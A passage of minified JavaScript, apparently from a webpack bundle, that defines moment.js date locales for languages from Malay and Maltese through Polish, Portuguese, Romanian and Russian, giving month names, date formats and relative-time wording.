strict";e.defineLocale("ms-my",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(n(30381))},9847:function(e,t,n){!function(e){"use strict";e.defineLocale("ms",{months:"Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"),monthsShort:"Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"),weekdays:"Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"),weekdaysShort:"Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"),weekdaysMin:"Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|tengahari|petang|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"tengahari"===t?e>=11?e:e+12:"petang"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"tengahari":e<19?"petang":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Esok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kelmarin pukul] LT",lastWeek:"dddd [lepas pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lepas",s:"beberapa saat",ss:"%d saat",m:"seminit",mm:"%d minit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:1,doy:7}})}(n(30381))},72126:function(e,t,n){!function(e){"use strict";e.defineLocale("mt",{months:"Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru".split("_"),monthsShort:"Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ".split("_"),weekdays:"Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt".split("_"),weekdaysShort:"Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib".split("_"),weekdaysMin:"Ħa_Tn_Tl_Er_Ħa_Ġi_Si".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Illum fil-]LT",nextDay:"[Għada fil-]LT",nextWeek:"dddd [fil-]LT",lastDay:"[Il-bieraħ fil-]LT",lastWeek:"dddd [li għadda] [fil-]LT",sameElse:"L"},relativeTime:{future:"f’ %s",past:"%s ilu",s:"ftit sekondi",ss:"%d sekondi",m:"minuta",mm:"%d minuti",h:"siegħa",hh:"%d siegħat",d:"ġurnata",dd:"%d ġranet",M:"xahar",MM:"%d xhur",y:"sena",yy:"%d sni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(30381))},56165:function(e,t,n){!function(e){"use strict";var t={1:"၁",2:"၂",3:"၃",4:"၄",5:"၅",6:"၆",7:"၇",8:"၈",9:"၉",0:"၀"},n={"၁":"1","၂":"2","၃":"3","၄":"4","၅":"5","၆":"6","၇":"7","၈":"8","၉":"9","၀":"0"};e.defineLocale("my",{months:"ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ".split("_"),monthsShort:"ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ".split("_"),weekdays:"တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ".split("_"),weekdaysShort:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),weekdaysMin:"နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ယနေ.] LT [မှာ]",nextDay:"[မနက်ဖြန်] LT [မှာ]",nextWeek:"dddd LT [မှာ]",lastDay:"[မနေ.က] LT [မှာ]",lastWeek:"[ပြီးခဲ့သော] dddd LT [မှာ]",sameElse:"L"},relativeTime:{future:"လာမည့် %s မှာ",past:"လွန်ခဲ့သော %s က",s:"စက္ကန်.အနည်းငယ်",ss:"%d စက္ကန့်",m:"တစ်မိနစ်",mm:"%d မိနစ်",h:"တစ်နာရီ",hh:"%d နာရီ",d:"တစ်ရက်",dd:"%d ရက်",M:"တစ်လ",MM:"%d လ",y:"တစ်နှစ်",yy:"%d နှစ်"},preparse:function(e){return e.replace(/[၁၂၃၄၅၆၇၈၉၀]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},week:{dow:1,doy:4}})}(n(30381))},64924:function(e,t,n){!function(e){"use strict";e.defineLocale("nb",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"),weekdaysShort:"sø._ma._ti._on._to._fr._lø.".split("_"),weekdaysMin:"sø_ma_ti_on_to_fr_lø".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] HH:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[i dag kl.] LT",nextDay:"[i morgen kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[i går kl.] LT",lastWeek:"[forrige] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s siden",s:"noen sekunder",ss:"%d sekunder",m:"ett minutt",mm:"%d minutter",h:"en time",hh:"%d timer",d:"en dag",dd:"%d dager",w:"en uke",ww:"%d uker",M:"en måned",MM:"%d måneder",y:"ett år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},16744:function(e,t,n){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},n={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"};e.defineLocale("ne",{months:"जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर".split("_"),monthsShort:"जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.".split("_"),monthsParseExact:!0,weekdays:"आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार".split("_"),weekdaysShort:"आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.".split("_"),weekdaysMin:"आ._सो._मं._बु._बि._शु._श.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"Aको h:mm बजे",LTS:"Aको h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, Aको h:mm बजे",LLLL:"dddd, D MMMM YYYY, Aको h:mm बजे"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/राति|बिहान|दिउँसो|साँझ/,meridiemHour:function(e,t){return 12===e&&(e=0),"राति"===t?e<4?e:e+12:"बिहान"===t?e:"दिउँसो"===t?e>=10?e:e+12:"साँझ"===t?e+12:void 0},meridiem:function(e,t,n){return e<3?"राति":e<12?"बिहान":e<16?"दिउँसो":e<20?"साँझ":"राति"},calendar:{sameDay:"[आज] LT",nextDay:"[भोलि] LT",nextWeek:"[आउँदो] dddd[,] LT",lastDay:"[हिजो] LT",lastWeek:"[गएको] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%sमा",past:"%s अगाडि",s:"केही क्षण",ss:"%d सेकेण्ड",m:"एक मिनेट",mm:"%d मिनेट",h:"एक घण्टा",hh:"%d घण्टा",d:"एक दिन",dd:"%d दिन",M:"एक महिना",MM:"%d महिना",y:"एक बर्ष",yy:"%d बर्ष"},week:{dow:0,doy:6}})}(n(30381))},59814:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),n="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),a=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],i=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl-be",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(30381))},93901:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"),n="jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"),a=[/^jan/i,/^feb/i,/^maart|mrt.?$/i,/^apr/i,/^mei$/i,/^jun[i.]?$/i,/^jul[i.]?$/i,/^aug/i,/^sep/i,/^okt/i,/^nov/i,/^dec/i],i=/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;e.defineLocale("nl",{months:"januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"),monthsShort:function(e,a){return e?/-MMM-/.test(a)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i,monthsShortStrictRegex:/^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"),weekdaysShort:"zo._ma._di._wo._do._vr._za.".split("_"),weekdaysMin:"zo_ma_di_wo_do_vr_za".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[vandaag om] LT",nextDay:"[morgen om] LT",nextWeek:"dddd [om] LT",lastDay:"[gisteren om] LT",lastWeek:"[afgelopen] dddd [om] LT",sameElse:"L"},relativeTime:{future:"over %s",past:"%s geleden",s:"een paar seconden",ss:"%d seconden",m:"één minuut",mm:"%d minuten",h:"één uur",hh:"%d uur",d:"één dag",dd:"%d dagen",w:"één week",ww:"%d weken",M:"één maand",MM:"%d maanden",y:"één jaar",yy:"%d jaar"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(30381))},83877:function(e,t,n){!function(e){"use strict";e.defineLocale("nn",{months:"januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan._feb._mars_apr._mai_juni_juli_aug._sep._okt._nov._des.".split("_"),monthsParseExact:!0,weekdays:"sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag".split("_"),weekdaysShort:"su._må._ty._on._to._fr._lau.".split("_"),weekdaysMin:"su_må_ty_on_to_fr_la".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd D. MMMM YYYY [kl.] HH:mm"},calendar:{sameDay:"[I dag klokka] LT",nextDay:"[I morgon klokka] LT",nextWeek:"dddd [klokka] LT",lastDay:"[I går klokka] LT",lastWeek:"[Føregåande] dddd [klokka] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"%s sidan",s:"nokre sekund",ss:"%d sekund",m:"eit minutt",mm:"%d minutt",h:"ein time",hh:"%d timar",d:"ein dag",dd:"%d dagar",w:"ei veke",ww:"%d veker",M:"ein månad",MM:"%d månader",y:"eit år",yy:"%d år"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},92135:function(e,t,n){!function(e){"use strict";e.defineLocale("oc-lnc",{months:{standalone:"genièr_febrièr_març_abril_mai_junh_julhet_agost_setembre_octòbre_novembre_decembre".split("_"),format:"de genièr_de febrièr_de març_d'abril_de mai_de junh_de julhet_d'agost_de setembre_d'octòbre_de novembre_de decembre".split("_"),isFormat:/D[oD]?(\s)+MMMM/},monthsShort:"gen._febr._març_abr._mai_junh_julh._ago._set._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"dimenge_diluns_dimars_dimècres_dijòus_divendres_dissabte".split("_"),weekdaysShort:"dg._dl._dm._dc._dj._dv._ds.".split("_"),weekdaysMin:"dg_dl_dm_dc_dj_dv_ds".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [de] YYYY",ll:"D MMM YYYY",LLL:"D MMMM [de] YYYY [a] H:mm",lll:"D MMM YYYY, H:mm",LLLL:"dddd D MMMM [de] YYYY [a] H:mm",llll:"ddd D MMM YYYY, H:mm"},calendar:{sameDay:"[uèi a] LT",nextDay:"[deman a] LT",nextWeek:"dddd [a] LT",lastDay:"[ièr a] LT",lastWeek:"dddd [passat a] LT",sameElse:"L"},relativeTime:{future:"d'aquí %s",past:"fa %s",s:"unas segondas",ss:"%d segondas",m:"una minuta",mm:"%d minutas",h:"una ora",hh:"%d oras",d:"un jorn",dd:"%d jorns",M:"un mes",MM:"%d meses",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(r|n|t|è|a)/,ordinal:function(e,t){var n=1===e?"r":2===e?"n":3===e?"r":4===e?"t":"è";return"w"!==t&&"W"!==t||(n="a"),e+n},week:{dow:1,doy:4}})}(n(30381))},15858:function(e,t,n){!function(e){"use strict";var t={1:"੧",2:"੨",3:"੩",4:"੪",5:"੫",6:"੬",7:"੭",8:"੮",9:"੯",0:"੦"},n={"੧":"1","੨":"2","੩":"3","੪":"4","੫":"5","੬":"6","੭":"7","੮":"8","੯":"9","੦":"0"};e.defineLocale("pa-in",{months:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),monthsShort:"ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"),weekdays:"ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ".split("_"),weekdaysShort:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),weekdaysMin:"ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"),longDateFormat:{LT:"A h:mm ਵਜੇ",LTS:"A h:mm:ss ਵਜੇ",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm ਵਜੇ",LLLL:"dddd, D MMMM YYYY, A h:mm ਵਜੇ"},calendar:{sameDay:"[ਅਜ] LT",nextDay:"[ਕਲ] LT",nextWeek:"[ਅਗਲਾ] dddd, LT",lastDay:"[ਕਲ] LT",lastWeek:"[ਪਿਛਲੇ] dddd, LT",sameElse:"L"},relativeTime:{future:"%s ਵਿੱਚ",past:"%s ਪਿਛਲੇ",s:"ਕੁਝ ਸਕਿੰਟ",ss:"%d ਸਕਿੰਟ",m:"ਇਕ ਮਿੰਟ",mm:"%d ਮਿੰਟ",h:"ਇੱਕ ਘੰਟਾ",hh:"%d ਘੰਟੇ",d:"ਇੱਕ ਦਿਨ",dd:"%d ਦਿਨ",M:"ਇੱਕ ਮਹੀਨਾ",MM:"%d ਮਹੀਨੇ",y:"ਇੱਕ ਸਾਲ",yy:"%d ਸਾਲ"},preparse:function(e){return e.replace(/[੧੨੩੪੫੬੭੮੯੦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/,meridiemHour:function(e,t){return 12===e&&(e=0),"ਰਾਤ"===t?e<4?e:e+12:"ਸਵੇਰ"===t?e:"ਦੁਪਹਿਰ"===t?e>=10?e:e+12:"ਸ਼ਾਮ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"ਰਾਤ":e<10?"ਸਵੇਰ":e<17?"ਦੁਪਹਿਰ":e<20?"ਸ਼ਾਮ":"ਰਾਤ"},week:{dow:0,doy:6}})}(n(30381))},64495:function(e,t,n){!function(e){"use strict";var t="styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"),n="stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"),a=[/^sty/i,/^lut/i,/^mar/i,/^kwi/i,/^maj/i,/^cze/i,/^lip/i,/^sie/i,/^wrz/i,/^paź/i,/^lis/i,/^gru/i];function i(e){return e%10<5&&e%10>1&&~~(e/10)%10!=1}function r(e,t,n){var a=e+" ";switch(n){case"ss":return a+(i(e)?"sekundy":"sekund");case"m":return t?"minuta":"minutę";case"mm":return a+(i(e)?"minuty":"minut");case"h":return t?"godzina":"godzinę";case"hh":return a+(i(e)?"godziny":"godzin");case"ww":return a+(i(e)?"tygodnie":"tygodni");case"MM":return a+(i(e)?"miesiące":"miesięcy");case"yy":return a+(i(e)?"lata":"lat")}}e.defineLocale("pl",{months:function(e,a){return e?/D MMMM/.test(a)?n[e.month()]:t[e.month()]:t},monthsShort:"sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"),monthsParse:a,longMonthsParse:a,shortMonthsParse:a,weekdays:"niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"),weekdaysShort:"ndz_pon_wt_śr_czw_pt_sob".split("_"),weekdaysMin:"Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Dziś o] LT",nextDay:"[Jutro o] LT",nextWeek:function(){switch(this.day()){case 0:return"[W niedzielę o] LT";case 2:return"[We wtorek o] LT";case 3:return"[W środę o] LT";case 6:return"[W sobotę o] LT";default:return"[W] dddd [o] LT"}},lastDay:"[Wczoraj o] LT",lastWeek:function(){switch(this.day()){case 0:return"[W zeszłą niedzielę o] LT";case 3:return"[W zeszłą środę o] LT";case 6:return"[W zeszłą sobotę o] LT";default:return"[W zeszły] dddd [o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"%s temu",s:"kilka sekund",ss:r,m:r,mm:r,h:r,hh:r,d:"1 dzień",dd:"%d dni",w:"tydzień",ww:r,M:"miesiąc",MM:r,y:"rok",yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},57971:function(e,t,n){!function(e){"use strict";e.defineLocale("pt-br",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"domingo_segunda-feira_terça-feira_quarta-feira_quinta-feira_sexta-feira_sábado".split("_"),weekdaysShort:"dom_seg_ter_qua_qui_sex_sáb".split("_"),weekdaysMin:"do_2ª_3ª_4ª_5ª_6ª_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY [às] HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY [às] HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"poucos segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",invalidDate:"Data inválida"})}(n(30381))},89520:function(e,t,n){!function(e){"use strict";e.defineLocale("pt",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"),weekdaysMin:"Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",w:"uma semana",ww:"%d semanas",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(30381))},96459:function(e,t,n){!function(e){"use strict";function t(e,t,n){var a=" ";return(e%100>=20||e>=100&&e%100==0)&&(a=" de "),e+a+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",ww:"săptămâni",MM:"luni",yy:"ani"}[n]}e.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[mâine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s în urmă",s:"câteva secunde",ss:t,m:"un minut",mm:t,h:"o oră",hh:t,d:"o zi",dd:t,w:"o săptămână",ww:t,M:"o lună",MM:t,y:"un an",yy:t},week:{dow:1,doy:7}})}(n(30381))},21793:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,a){return"m"===a?n?"минута":"минуту":e+" "+t({ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",ww:"неделя_недели_недель",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[a],+e)}var a=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];e.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?] 